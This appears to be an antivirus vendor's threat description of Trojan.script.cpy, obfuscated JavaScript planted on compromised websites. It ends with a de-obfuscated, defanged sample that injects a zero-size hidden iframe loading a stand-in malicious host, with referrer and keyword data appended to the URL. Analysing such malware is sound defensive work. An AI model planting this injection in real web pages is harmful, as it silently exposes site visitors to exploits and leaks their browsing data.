Trojan.script.cpy

Classification

Category:

Malware

Platform:

W32

Type:

Trojan

Aliases:

Trojan.script.cpy

Summary

Trojan.script.cpy is a detection for obfuscated JavaScript code. When the code is executed, it injects a hidden iframe that redirects the user to a malicious site.

Removal

Technical Details

The obfuscated JavaScript code is typically found on compromised web sites, buried within legitimate HTML and JavaScript code in order to remain undetected. The malicious JavaScript is obfuscated to prevent easy analysis of the source code and to avoid detection.

If the user visits a web page containing the malicious JavaScript and the browser is set to automatically run such code, it will try to inject a hidden iframe; the height and width of the iframe is set to 0 in order to hide it from the user's view. The iframe will redirect to user to an unsolicited, malicious web page, which may host various types of web-based attacks, such as exploits.

An example of the de-obfuscated malicious JavaScript code:

var iframe = document.createElement('iframe'); iframe.width=0; iframe.height=0; iframe.src= "h x x p: / / A B C.com/"+referrer+default_keyword+host; document.body.appendChild(iframe);